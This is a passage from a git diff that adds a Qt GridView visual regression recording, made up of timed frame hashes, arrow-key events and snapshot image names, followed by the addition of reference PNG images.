+ Frame { + msec: 4880 + hash: "9cdea4790972efaecabd52b435107e69" + } + Frame { + msec: 4896 + hash: "9cdea4790972efaecabd52b435107e69" + } + Frame { + msec: 4912 + hash: "9cdea4790972efaecabd52b435107e69" + } + Frame { + msec: 4928 + hash: "9cdea4790972efaecabd52b435107e69" + } + Frame { + msec: 4944 + hash: "9cdea4790972efaecabd52b435107e69" + } + Frame { + msec: 4960 + hash: "9cdea4790972efaecabd52b435107e69" + } + Frame { + msec: 4976 + hash: "9cdea4790972efaecabd52b435107e69" + } + Frame { + msec: 4992 + hash: "9cdea4790972efaecabd52b435107e69" + } + Frame { + msec: 5008 + hash: "9cdea4790972efaecabd52b435107e69" + } + Frame { + msec: 5024 + hash: "9cdea4790972efaecabd52b435107e69" + } + Frame { + msec: 5040 + hash: "9cdea4790972efaecabd52b435107e69" + } + Frame { + msec: 5056 + hash: "9cdea4790972efaecabd52b435107e69" + } + Frame { + msec: 5072 + hash: "9cdea4790972efaecabd52b435107e69" + } + Frame { + msec: 5088 + hash: "9cdea4790972efaecabd52b435107e69" + } + Frame { + msec: 5104 + hash: "9cdea4790972efaecabd52b435107e69" + } + Frame { + msec: 5120 + hash: "9cdea4790972efaecabd52b435107e69" + } + Frame { + msec: 5136 + hash: "9cdea4790972efaecabd52b435107e69" + } + Frame { + msec: 5152 + hash: "9cdea4790972efaecabd52b435107e69" + } + Key { + type: 6 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 5168 + hash: "d6f0a6d7604bad811eeba13fd7c45368" + } + Frame { + msec: 5184 + hash: "5f92e1531a3f6c21ec82e3c908167fc7" + } + Frame { + msec: 5200 + hash: "5214e99ff052dcdc8f85bad29de92e03" + } + Frame { + msec: 5216 + hash: "d4abed9f0f1115c9a45b0b9b4f54754e" + } + Frame { + msec: 5232 + hash: "cfae8a0281e704b0e62f6bf31b32800f" + } + Frame { + msec: 5248 + hash: "c203f0674596ae690bf19f2d49be62ac" + } + Frame { + msec: 5264 + hash: "2e2c7e05aade104bdc4f6c489b6f0601" + } + Key { + type: 7 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 5280 + hash: "b4b2148b0557dcab3a441165e5e4de5f" + } + Frame { + msec: 5296 + hash: "c5e791d27a42a63d25cdbd492b4af29a" + } + Frame { + msec: 5312 + hash: "0f94ebcb407f8e6ae263bd954f2c8177" + } + Frame { + msec: 5328 + hash: "d9b56b817a411812789881697a28fe4c" + } + Frame { + msec: 5344 + hash: "d9b56b817a411812789881697a28fe4c" + } + Frame { + msec: 5360 + hash: "d9b56b817a411812789881697a28fe4c" + } + Frame { + msec: 5376 + hash: "d9b56b817a411812789881697a28fe4c" + } + Frame { + msec: 5392 + hash: "d9b56b817a411812789881697a28fe4c" + } + Frame { + msec: 5408 + hash: "d9b56b817a411812789881697a28fe4c" + } + Frame { + msec: 5424 + hash: "d9b56b817a411812789881697a28fe4c" + } + Frame { + msec: 5440 + hash: "d9b56b817a411812789881697a28fe4c" + } + Frame { + msec: 5456 + hash: "d9b56b817a411812789881697a28fe4c" + } + Key { + type: 6 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 5472 + hash: "6fdfe69e377da72e04dc130f5677ed2c" + } + Frame { + msec: 5488 + hash: "c041d26d43766fa1735f2ada2a43225b" + } + Frame { + msec: 5504 + hash: "aa62dbd6c6256665ee1b4ef468607978" + } + Frame { + msec: 5520 + hash: "987fcdf6483a83b1242053f4e7fb7a26" + } + Frame { + msec: 5536 + hash: "fbde70c34709b68eb22f5460a8815fba" + } + Frame { + msec: 5552 + hash: "911ddc838ebaf5ade1bb026dff2741ba" + } + Frame { + msec: 5568 + hash: "120bbf35b2a3b756bdeaea0df43e49b2" + } + Key { + type: 7 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 5584 + hash: "ea93e33c079d6dc5fb18c69fb4fed441" + } + Frame { + msec: 5600 + hash: "b9ac8ab01cb59b1fee11967bdb6d2dd6" + } + Frame { + msec: 5616 + hash: "3ff266bf29cbcaa30bc1e7af5dd9866b" + } + Frame { + msec: 5632 + hash: "edd6c3a9493a63674e2d7af5f3e8467e" + } + Frame { + msec: 5648 + hash: "edd6c3a9493a63674e2d7af5f3e8467e" + } + Frame { + msec: 5664 + hash: "edd6c3a9493a63674e2d7af5f3e8467e" + } + Frame { + msec: 5680 + hash: "edd6c3a9493a63674e2d7af5f3e8467e" + } + Frame { + msec: 5696 + hash: "edd6c3a9493a63674e2d7af5f3e8467e" + } + Frame { + msec: 5712 + hash: "edd6c3a9493a63674e2d7af5f3e8467e" + } + Frame { + msec: 5728 + hash: "edd6c3a9493a63674e2d7af5f3e8467e" + } + Frame { + msec: 5744 + hash: "edd6c3a9493a63674e2d7af5f3e8467e" + } + Frame { + msec: 5760 + image: "gridview.5.png" + } + Frame { + msec: 5776 + hash: "edd6c3a9493a63674e2d7af5f3e8467e" + } + Frame { + msec: 5792 + hash: "edd6c3a9493a63674e2d7af5f3e8467e" + } + Frame { + msec: 5808 + hash: "edd6c3a9493a63674e2d7af5f3e8467e" + } + Key { + type: 6 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 5824 + hash: "de1f83d25751639dff42f1755a6534c3" + } + Frame { + msec: 5840 + hash: "edefdea8b2461d03fb97cf5ed66e9b6d" + } + Frame { + msec: 5856 + hash: "cef1886397e3932a511f37571b5011f4" + } + Frame { + msec: 5872 + hash: "05589ad354314d9e04ef90c1addd99f5" + } + Frame { + msec: 5888 + hash: "ff88b52e3755b9b4785d2719ddd4f090" + } + Frame { + msec: 5904 + hash: "f59edc3016b177a2e8faa6612d718b17" + } + Key { + type: 7 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 5920 + hash: "dc673a7cdd927f70b28ebcfe51cd3d89" + } + Frame { + msec: 5936 + hash: "3abec0da85fb663e63ab22188e092827" + } + Frame { + msec: 5952 + hash: "50c2c8ac68cafad7c47b576cd8f4a037" + } + Frame { + msec: 5968 + hash: "06c31b861e2b96e6595b2244d7b3f4d5" + } + Frame { + msec: 5984 + hash: "0aa7ce5ba9c875619a6e4629a0eb4065" + } + Frame { + msec: 6000 + hash: "0aa7ce5ba9c875619a6e4629a0eb4065" + } + Frame { + msec: 6016 + hash: "0aa7ce5ba9c875619a6e4629a0eb4065" + } + Frame { + msec: 6032 + hash: "0aa7ce5ba9c875619a6e4629a0eb4065" + } + Frame { + msec: 6048 + hash: "0aa7ce5ba9c875619a6e4629a0eb4065" + } + Frame { + msec: 6064 + hash: "0aa7ce5ba9c875619a6e4629a0eb4065" + } + Frame { + msec: 6080 + hash: "0aa7ce5ba9c875619a6e4629a0eb4065" + } + Frame { + msec: 6096 + hash: "0aa7ce5ba9c875619a6e4629a0eb4065" + } + Frame { + msec: 6112 + hash: "0aa7ce5ba9c875619a6e4629a0eb4065" + } + Frame { + msec: 6128 + hash: "0aa7ce5ba9c875619a6e4629a0eb4065" + } + Frame { + msec: 6144 + hash: "0aa7ce5ba9c875619a6e4629a0eb4065" + } + Frame { + msec: 6160 + hash: "0aa7ce5ba9c875619a6e4629a0eb4065" + } + Frame { + msec: 6176 + hash: "0aa7ce5ba9c875619a6e4629a0eb4065" + } + Frame { + msec: 6192 + hash: "0aa7ce5ba9c875619a6e4629a0eb4065" + } + Frame { + msec: 6208 + hash: "0aa7ce5ba9c875619a6e4629a0eb4065" + } + Frame { + msec: 6224 + hash: "0aa7ce5ba9c875619a6e4629a0eb4065" + } + Frame { + msec: 6240 + hash: "0aa7ce5ba9c875619a6e4629a0eb4065" + } + Frame { + msec: 6256 + hash: "0aa7ce5ba9c875619a6e4629a0eb4065" + } + Frame { + msec: 6272 + hash: "0aa7ce5ba9c875619a6e4629a0eb4065" + } + Frame { + msec: 6288 + hash: "0aa7ce5ba9c875619a6e4629a0eb4065" + } + Frame { + msec: 6304 + hash: "0aa7ce5ba9c875619a6e4629a0eb4065" + } + Frame { + msec: 6320 + hash: "0aa7ce5ba9c875619a6e4629a0eb4065" + } + Frame { + msec: 6336 + hash: "0aa7ce5ba9c875619a6e4629a0eb4065" + } + Frame { + msec: 6352 + hash: "0aa7ce5ba9c875619a6e4629a0eb4065" + } + Frame { + msec: 6368 + hash: "0aa7ce5ba9c875619a6e4629a0eb4065" + } + Frame { + msec: 6384 + hash: "0aa7ce5ba9c875619a6e4629a0eb4065" + } + Frame { + msec: 6400 + hash: "0aa7ce5ba9c875619a6e4629a0eb4065" + } + Frame { + msec: 6416 + hash: "0aa7ce5ba9c875619a6e4629a0eb4065" + } + Key { + type: 6 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 6432 + hash: "7f52a770775c19e10784b4c5f7874210" + } + Frame { + msec: 6448 + hash: "827cfb74286a2a80aca8b6c5277d6cfd" + } + Frame { + msec: 6464 + hash: "8399231eda9b66821d43a3d8c4c7d645" + } + Frame { + msec: 6480 + hash: "fc163583671f3c4023361460b436c895" + } + Frame { + msec: 6496 + hash: "893dea6496c95c32095ad1d673e500c2" + } + Frame { + msec: 6512 + hash: "808c7403b2cdcc882059da56a2f806fe" + } + Frame { + msec: 6528 + hash: "7466b2e5b86ba8ad46be75818659786c" + } + Key { + type: 7 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 6544 + hash: "dd2561cd780e24401130305d47757a53" + } + Frame { + msec: 6560 + hash: "bee89299532d43fc3e6c3e69c343b381" + } + Frame { + msec: 6576 + hash: "94f8474aedee94098592c05d8fc7d868" + } + Frame { + msec: 6592 + hash: "b6ee51bfa4d4ab7a83cca5c18453f0b8" + } + Frame { + msec: 6608 + hash: "b6ee51bfa4d4ab7a83cca5c18453f0b8" + } + Frame { + msec: 6624 + hash: "b6ee51bfa4d4ab7a83cca5c18453f0b8" + } + Frame { + msec: 6640 + hash: "b6ee51bfa4d4ab7a83cca5c18453f0b8" + } + Frame { + msec: 6656 + hash: "b6ee51bfa4d4ab7a83cca5c18453f0b8" + } + Frame { + msec: 6672 + hash: "b6ee51bfa4d4ab7a83cca5c18453f0b8" + } + Frame { + msec: 6688 + hash: "b6ee51bfa4d4ab7a83cca5c18453f0b8" + } + Frame { + msec: 6704 + hash: "b6ee51bfa4d4ab7a83cca5c18453f0b8" + } + Key { + type: 6 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 6720 + image: "gridview.6.png" + } + Frame { + msec: 6736 + hash: "ccd58be20d47422121d6ef799b927a7a" + } + Frame { + msec: 6752 + hash: "e090c7f39649786a1796870e25bd0f0d" + } + Frame { + msec: 6768 + hash: "acf3dcd9f4a869169dbc1ae7fe60e9d0" + } + Frame { + msec: 6784 + hash: "51795e9a720845e8305d23507785e1ca" + } + Frame { + msec: 6800 + hash: "0d34a43e177e6b73e2ff9155747d0385" + } + Frame { + msec: 6816 + hash: "1876c3cdffc1af01da1aaa0ac636d0a8" + } + Frame { + msec: 6832 + hash: "3131296b6edf4190520e2cdb3f8b936e" + } + Key { + type: 7 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 6848 + hash: "ee92f0a764e5081b130e205a5c362b07" + } + Frame { + msec: 6864 + hash: "8737ea2c60aeb215228c00a7fddd1baa" + } + Frame { + msec: 6880 + hash: "ac036f1f5c5ae23ddfca3060dff83f15" + } + Frame { + msec: 6896 + hash: "ac036f1f5c5ae23ddfca3060dff83f15" + } + Frame { + msec: 6912 + hash: "ac036f1f5c5ae23ddfca3060dff83f15" + } + Frame { + msec: 6928 + hash: "ac036f1f5c5ae23ddfca3060dff83f15" + } + Frame { + msec: 6944 + hash: "ac036f1f5c5ae23ddfca3060dff83f15" + } + Frame { + msec: 6960 + hash: "ac036f1f5c5ae23ddfca3060dff83f15" + } + Frame { + msec: 6976 + hash: "ac036f1f5c5ae23ddfca3060dff83f15" + } + Frame { + msec: 6992 + hash: "ac036f1f5c5ae23ddfca3060dff83f15" + } + Frame { + msec: 7008 + hash: "ac036f1f5c5ae23ddfca3060dff83f15" + } + Frame { + msec: 7024 + hash: "ac036f1f5c5ae23ddfca3060dff83f15" + } + Key { + type: 6 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 7040 + hash: "ac036f1f5c5ae23ddfca3060dff83f15" + } + Frame { + msec: 7056 + hash: "ac036f1f5c5ae23ddfca3060dff83f15" + } + Frame { + msec: 7072 + hash: "ac036f1f5c5ae23ddfca3060dff83f15" + } + Frame { + msec: 7088 + hash: "ac036f1f5c5ae23ddfca3060dff83f15" + } + Frame { + msec: 7104 + hash: "ac036f1f5c5ae23ddfca3060dff83f15" + } + Frame { + msec: 7120 + hash: "ac036f1f5c5ae23ddfca3060dff83f15" + } + Frame { + msec: 7136 + hash: "ac036f1f5c5ae23ddfca3060dff83f15" + } + Frame { + msec: 7152 + hash: "ac036f1f5c5ae23ddfca3060dff83f15" + } + Key { + type: 7 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 7168 + hash: "ac036f1f5c5ae23ddfca3060dff83f15" + } + Frame { + msec: 7184 + hash: "ac036f1f5c5ae23ddfca3060dff83f15" + } + Frame { + msec: 7200 + hash: "ac036f1f5c5ae23ddfca3060dff83f15" + } + Frame { + msec: 7216 + hash: "ac036f1f5c5ae23ddfca3060dff83f15" + } + Frame { + msec: 7232 + hash: "ac036f1f5c5ae23ddfca3060dff83f15" + } + Frame { + msec: 7248 + hash: "ac036f1f5c5ae23ddfca3060dff83f15" + } + Frame { + msec: 7264 + hash: "ac036f1f5c5ae23ddfca3060dff83f15" + } + Frame { + msec: 7280 + hash: "ac036f1f5c5ae23ddfca3060dff83f15" + } + Frame { + msec: 7296 + hash: "ac036f1f5c5ae23ddfca3060dff83f15" + } + Frame { + msec: 7312 + hash: "ac036f1f5c5ae23ddfca3060dff83f15" + } + Frame { + msec: 7328 + hash: "ac036f1f5c5ae23ddfca3060dff83f15" + } + Frame { + msec: 7344 + hash: "ac036f1f5c5ae23ddfca3060dff83f15" + } + Frame { + msec: 7360 + hash: "ac036f1f5c5ae23ddfca3060dff83f15" + } + Frame { + msec: 7376 + hash: "ac036f1f5c5ae23ddfca3060dff83f15" + } + Frame { + msec: 7392 + hash: "ac036f1f5c5ae23ddfca3060dff83f15" + } + Frame { + msec: 7408 + hash: "ac036f1f5c5ae23ddfca3060dff83f15" + } + Frame { + msec: 7424 + hash: "ac036f1f5c5ae23ddfca3060dff83f15" + } + Frame { + msec: 7440 + hash: "ac036f1f5c5ae23ddfca3060dff83f15" + } + Frame { + msec: 7456 + hash: "ac036f1f5c5ae23ddfca3060dff83f15" + } + Frame { + msec: 7472 + hash: "ac036f1f5c5ae23ddfca3060dff83f15" + } + Frame { + msec: 7488 + hash: "ac036f1f5c5ae23ddfca3060dff83f15" + } + Frame { + msec: 7504 + hash: "ac036f1f5c5ae23ddfca3060dff83f15" + } + Frame { + msec: 7520 + hash: "ac036f1f5c5ae23ddfca3060dff83f15" + } + Frame { + msec: 7536 + hash: "ac036f1f5c5ae23ddfca3060dff83f15" + } + Frame { + msec: 7552 + hash: "ac036f1f5c5ae23ddfca3060dff83f15" + } + Frame { + msec: 7568 + hash: "ac036f1f5c5ae23ddfca3060dff83f15" + } + Frame { + msec: 7584 + hash: "ac036f1f5c5ae23ddfca3060dff83f15" + } + Key { + type: 6 + key: 16777235 + modifiers: 536870912 + text: "1e" + autorep: false + count: 1 + } + Frame { + msec: 7600 + hash: "ac036f1f5c5ae23ddfca3060dff83f15" + } + Frame { + msec: 7616 + hash: "eb0d1be15f63af6eaf6634b02e5f240a" + } + Frame { + msec: 7632 + hash: "2423c305bebb3449e87c78e8fb447c88" + } + Frame { + msec: 7648 + hash: "f0ede6ea85647728db80878b3e525edc" + } + Frame { + msec: 7664 + hash: "387d127b2b000dc344ee4768cf2d29b2" + } + Frame { + msec: 7680 + image: "gridview.7.png" + } + Frame { + msec: 7696 + hash: "1d0d8100e994c16d7973ad9a97b0068f" + } + Key { + type: 7 + key: 16777235 + modifiers: 536870912 + text: "1e" + autorep: false + count: 1 + } + Frame { + msec: 7712 + hash: "95fb4a6d0331ffc4773e39ec8c3e6511" + } + Frame { + msec: 7728 + hash: "34738f16150228d971972833d4bd5c8f" + } + Frame { + msec: 7744 + hash: "9b71c8dacc530f32d7c6f409928caf5c" + } + Frame { + msec: 7760 + hash: "831efd0970c5c29fbe10b3be7707f915" + } + Frame { + msec: 7776 + hash: "831efd0970c5c29fbe10b3be7707f915" + } + Frame { + msec: 7792 + hash: "831efd0970c5c29fbe10b3be7707f915" + } + Frame { + msec: 7808 + hash: "831efd0970c5c29fbe10b3be7707f915" + } + Frame { + msec: 7824 + hash: "831efd0970c5c29fbe10b3be7707f915" + } + Frame { + msec: 7840 + hash: "831efd0970c5c29fbe10b3be7707f915" + } + Frame { + msec: 7856 + hash: "831efd0970c5c29fbe10b3be7707f915" + } + Frame { + msec: 7872 + hash: "831efd0970c5c29fbe10b3be7707f915" + } + Frame { + msec: 7888 + hash: "831efd0970c5c29fbe10b3be7707f915" + } + Frame { + msec: 7904 + hash: "831efd0970c5c29fbe10b3be7707f915" + } + Frame { + msec: 7920 + hash: "831efd0970c5c29fbe10b3be7707f915" + } + Frame { + msec: 7936 + hash: "831efd0970c5c29fbe10b3be7707f915" + } + Frame { + msec: 7952 + hash: "831efd0970c5c29fbe10b3be7707f915" + } + Frame { + msec: 7968 + hash: "831efd0970c5c29fbe10b3be7707f915" + } + Key { + type: 6 + key: 16777235 + modifiers: 536870912 + text: "1e" + autorep: false + count: 1 + } + Frame { + msec: 7984 + hash: "831efd0970c5c29fbe10b3be7707f915" + } + Frame { + msec: 8000 + hash: "0587fc809c38c3bbe1fbac2960596974" + } + Frame { + msec: 8016 + hash: "d20eba806cf4730a850db4c095fa36f9" + } + Key { + type: 7 + key: 16777235 + modifiers: 536870912 + text: "1e" + autorep: false + count: 1 + } + Frame { + msec: 8032 + hash: "c1663e75ba05b341e1e970a451958ea0" + } + Frame { + msec: 8048 + hash: "ea40cc33b689d6b42fc5a69fa30178e4" + } + Frame { + msec: 8064 + hash: "a07a1c61de1813158ff743cd326ee427" + } + Frame { + msec: 8080 + hash: "6dfddaa340df8999ca77f6a6e4c6c3ce" + } + Frame { + msec: 8096 + hash: "76ca40bb169c1ddc291847d4be2d38d7" + } + Frame { + msec: 8112 + hash: "e44778541b76208981a3944a64235cac" + } + Frame { + msec: 8128 + hash: "fdf45ea650d31957cc675c3bec8bf53e" + } + Frame { + msec: 8144 + hash: "b78cdb727535ab7e567af08abf25e64c" + } + Frame { + msec: 8160 + hash: "b78cdb727535ab7e567af08abf25e64c" + } + Frame { + msec: 8176 + hash: "b78cdb727535ab7e567af08abf25e64c" + } + Frame { + msec: 8192 + hash: "b78cdb727535ab7e567af08abf25e64c" + } + Frame { + msec: 8208 + hash: "b78cdb727535ab7e567af08abf25e64c" + } + Frame { + msec: 8224 + hash: "b78cdb727535ab7e567af08abf25e64c" + } + Frame { + msec: 8240 + hash: "b78cdb727535ab7e567af08abf25e64c" + } + Key { + type: 6 + key: 16777235 + modifiers: 536870912 + text: "1e" + autorep: false + count: 1 + } + Frame { + msec: 8256 + hash: "b78cdb727535ab7e567af08abf25e64c" + } + Frame { + msec: 8272 + hash: "338481e6390f2a61e975084c16427584" + } + Frame { + msec: 8288 + hash: "8923c45c23b1f4250b7d1e483b07a4da" + } + Frame { + msec: 8304 + hash: "b21de834906d0eecea985561e2e41e4f" + } + Frame { + msec: 8320 + hash: "a8c9761cfb20631520ed890cd2648c4b" + } + Frame { + msec: 8336 + hash: "abf96a042ef12190bc48ff49732ef55a" + } + Key { + type: 7 + key: 16777235 + modifiers: 536870912 + text: "1e" + autorep: false + count: 1 + } + Frame { + msec: 8352 + hash: "5b9506dfb038cd26dfc81ecd2406ada9" + } + Frame { + msec: 8368 + hash: "be75b8d39f81b2fdaff01469bfc67d4a" + } + Frame { + msec: 8384 + hash: "488aa2977f349df82b5f6ae5e3619d35" + } + Frame { + msec: 8400 + hash: "d69f17f0ce8537511353d20b59d20de0" + } + Frame { + msec: 8416 + hash: "7647efcc0152cc3d6544106f969ace26" + } + Frame { + msec: 8432 + hash: "7647efcc0152cc3d6544106f969ace26" + } + Frame { + msec: 8448 + hash: "7647efcc0152cc3d6544106f969ace26" + } + Frame { + msec: 8464 + hash: "7647efcc0152cc3d6544106f969ace26" + } + Frame { + msec: 8480 + hash: "7647efcc0152cc3d6544106f969ace26" + } + Frame { + msec: 8496 + hash: "7647efcc0152cc3d6544106f969ace26" + } + Frame { + msec: 8512 + hash: "7647efcc0152cc3d6544106f969ace26" + } + Frame { + msec: 8528 + hash: "7647efcc0152cc3d6544106f969ace26" + } + Frame { + msec: 8544 + hash: "7647efcc0152cc3d6544106f969ace26" + } + Key { + type: 6 + key: 16777235 + modifiers: 536870912 + text: "1e" + autorep: false + count: 1 + } + Frame { + msec: 8560 + hash: "7647efcc0152cc3d6544106f969ace26" + } + Frame { + msec: 8576 + hash: "8f74d33bf95cbf37fdb4521c69373a64" + } + Frame { + msec: 8592 + hash: "e33bb4cd12790c9d9992efdd3e23bee9" + } + Frame { + msec: 8608 + hash: "36f32e34b4093091c4707f26c52896ad" + } + Frame { + msec: 8624 + hash: "5ab5e142f8dc883287c116cedbacfd55" + } + Frame { + msec: 8640 + image: "gridview.8.png" + } + Key { + type: 7 + key: 16777235 + modifiers: 536870912 + text: "1e" + autorep: false + count: 1 + } + Frame { + msec: 8656 + hash: "c74212e45a6c4b6a18caeb6a22350609" + } + Frame { + msec: 8672 + hash: "8919643a7d13677dd902941860093209" + } + Frame { + msec: 8688 + hash: "6f2ab4400fadf51b994351f0975e31fc" + } + Frame { + msec: 8704 + hash: "4798559ce6f9bd7455ed5385d0030763" + } + Frame { + msec: 8720 + hash: "72759bd1e2618c61c42bbe4de3ad3a96" + } + Frame { + msec: 8736 + hash: "72759bd1e2618c61c42bbe4de3ad3a96" + } + Frame { + msec: 8752 + hash: "72759bd1e2618c61c42bbe4de3ad3a96" + } + Frame { + msec: 8768 + hash: "72759bd1e2618c61c42bbe4de3ad3a96" + } + Frame { + msec: 8784 + hash: "72759bd1e2618c61c42bbe4de3ad3a96" + } + Frame { + msec: 8800 + hash: "72759bd1e2618c61c42bbe4de3ad3a96" + } + Frame { + msec: 8816 + hash: "72759bd1e2618c61c42bbe4de3ad3a96" + } + Frame { + msec: 8832 + hash: "72759bd1e2618c61c42bbe4de3ad3a96" + } + Frame { + msec: 8848 + hash: "72759bd1e2618c61c42bbe4de3ad3a96" + } + Frame { + msec: 8864 + hash: "72759bd1e2618c61c42bbe4de3ad3a96" + } + Key { + type: 6 + key: 16777235 + modifiers: 536870912 + text: "1e" + autorep: false + count: 1 + } + Frame { + msec: 8880 + hash: "72759bd1e2618c61c42bbe4de3ad3a96" + } + Frame { + msec: 8896 + hash: "fac81cf6f45cb47abc1fa36d23e39d34" + } + Frame { + msec: 8912 + hash: "862f4deee01183fd38b094da59048b23" + } + Frame { + msec: 8928 + hash: "2f3b147221da30d8857d25fc788b3eac" + } + Frame { + msec: 8944 + hash: "5b295b187c6cfc6aefa51e5efc2c27e3" + } + Frame { + msec: 8960 + hash: "fe3139ddc8fdbc1b0c25bd641f83e833" + } + Key { + type: 7 + key: 16777235 + modifiers: 536870912 + text: "1e" + autorep: false + count: 1 + } + Frame { + msec: 8976 + hash: "8f2a9585dc6248a403aafd0f151d6ba0" + } + Frame { + msec: 8992 + hash: "39eca8cc6bb8ea30cc452dc24f8e46dc" + } + Frame { + msec: 9008 + hash: "8dbbc6026942cb6e572f1cb7e2675713" + } + Frame { + msec: 9024 + hash: "62dfa07b96dd18c6be89822654bf09f3" + } + Frame { + msec: 9040 + hash: "02c632713d0dc64bff9d8e58f745df95" + } + Frame { + msec: 9056 + hash: "02c632713d0dc64bff9d8e58f745df95" + } + Frame { + msec: 9072 + hash: "02c632713d0dc64bff9d8e58f745df95" + } + Frame { + msec: 9088 + hash: "02c632713d0dc64bff9d8e58f745df95" + } + Frame { + msec: 9104 + hash: "02c632713d0dc64bff9d8e58f745df95" + } + Frame { + msec: 9120 + hash: "02c632713d0dc64bff9d8e58f745df95" + } + Frame { + msec: 9136 + hash: "02c632713d0dc64bff9d8e58f745df95" + } + Frame { + msec: 9152 + hash: "02c632713d0dc64bff9d8e58f745df95" + } + Frame { + msec: 9168 + hash: "02c632713d0dc64bff9d8e58f745df95" + } + Frame { + msec: 9184 + hash: "02c632713d0dc64bff9d8e58f745df95" + } + Frame { + msec: 9200 + hash: "02c632713d0dc64bff9d8e58f745df95" + } + Frame { + msec: 9216 + hash: "02c632713d0dc64bff9d8e58f745df95" + } + Frame { + msec: 9232 + hash: "02c632713d0dc64bff9d8e58f745df95" + } + Frame { + msec: 9248 + hash: "02c632713d0dc64bff9d8e58f745df95" + } + Frame { + msec: 9264 + hash: "02c632713d0dc64bff9d8e58f745df95" + } + Key { + type: 6 + key: 16777235 + modifiers: 536870912 + text: "1e" + autorep: false + count: 1 + } + Frame { + msec: 9280 + hash: "02c632713d0dc64bff9d8e58f745df95" + } + Frame { + msec: 9296 + hash: "02c632713d0dc64bff9d8e58f745df95" + } + Frame { + msec: 9312 + hash: "02c632713d0dc64bff9d8e58f745df95" + } + Frame { + msec: 9328 + hash: "02c632713d0dc64bff9d8e58f745df95" + } + Frame { + msec: 9344 + hash: "02c632713d0dc64bff9d8e58f745df95" + } + Frame { + msec: 9360 + hash: "02c632713d0dc64bff9d8e58f745df95" + } + Frame { + msec: 9376 + hash: "02c632713d0dc64bff9d8e58f745df95" + } + Key { + type: 7 + key: 16777235 + modifiers: 536870912 + text: "1e" + autorep: false + count: 1 + } + Frame { + msec: 9392 + hash: "02c632713d0dc64bff9d8e58f745df95" + } + Frame { + msec: 9408 + hash: "02c632713d0dc64bff9d8e58f745df95" + } + Frame { + msec: 9424 + hash: "02c632713d0dc64bff9d8e58f745df95" + } + Frame { + msec: 9440 + hash: "02c632713d0dc64bff9d8e58f745df95" + } + Frame { + msec: 9456 + hash: "02c632713d0dc64bff9d8e58f745df95" + } + Frame { + msec: 9472 + hash: "02c632713d0dc64bff9d8e58f745df95" + } + Frame { + msec: 9488 + hash: "02c632713d0dc64bff9d8e58f745df95" + } + Frame { + msec: 9504 + hash: "02c632713d0dc64bff9d8e58f745df95" + } + Frame { + msec: 9520 + hash: "02c632713d0dc64bff9d8e58f745df95" + } + Frame { + msec: 9536 + hash: "02c632713d0dc64bff9d8e58f745df95" + } + Frame { + msec: 9552 + hash: "02c632713d0dc64bff9d8e58f745df95" + } + Frame { + msec: 9568 + hash: "02c632713d0dc64bff9d8e58f745df95" + } + Frame { + msec: 9584 + hash: "02c632713d0dc64bff9d8e58f745df95" + } + Frame { + msec: 9600 + image: "gridview.9.png" + } + Frame { + msec: 9616 + hash: "02c632713d0dc64bff9d8e58f745df95" + } + Frame { + msec: 9632 + hash: "02c632713d0dc64bff9d8e58f745df95" + } + Frame { + msec: 9648 + hash: "02c632713d0dc64bff9d8e58f745df95" + } + Frame { + msec: 9664 + hash: "02c632713d0dc64bff9d8e58f745df95" + } + Frame { + msec: 9680 + hash: "02c632713d0dc64bff9d8e58f745df95" + } + Frame { + msec: 9696 + hash: "02c632713d0dc64bff9d8e58f745df95" + } + Frame { + msec: 9712 + hash: "02c632713d0dc64bff9d8e58f745df95" + } + Frame { + msec: 9728 + hash: "02c632713d0dc64bff9d8e58f745df95" + } + Frame { + msec: 9744 + hash: "02c632713d0dc64bff9d8e58f745df95" + } + Frame { + msec: 9760 + hash: "02c632713d0dc64bff9d8e58f745df95" + } + Key { + type: 6 + key: 16777249 + modifiers: 67108864 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 9776 + hash: "02c632713d0dc64bff9d8e58f745df95" + } + Frame { + msec: 9792 + hash: "02c632713d0dc64bff9d8e58f745df95" + } + Frame { + msec: 9808 + hash: "02c632713d0dc64bff9d8e58f745df95" + } + Frame { + msec: 9824 + hash: "02c632713d0dc64bff9d8e58f745df95" + } + Frame { + msec: 9840 + hash: "02c632713d0dc64bff9d8e58f745df95" + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.0.png b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.0.png new file mode 100644 index 0000000..3021d58 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.0.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.1.png b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.1.png new file mode 100644 index 0000000..baeb1a6 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.1.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.10.png b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.10.png new file mode 100644 index 0000000..b0486e5 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.10.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.2.png b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.2.png new file mode 100644 index 0000000..2d0c731 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.2.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.3.png 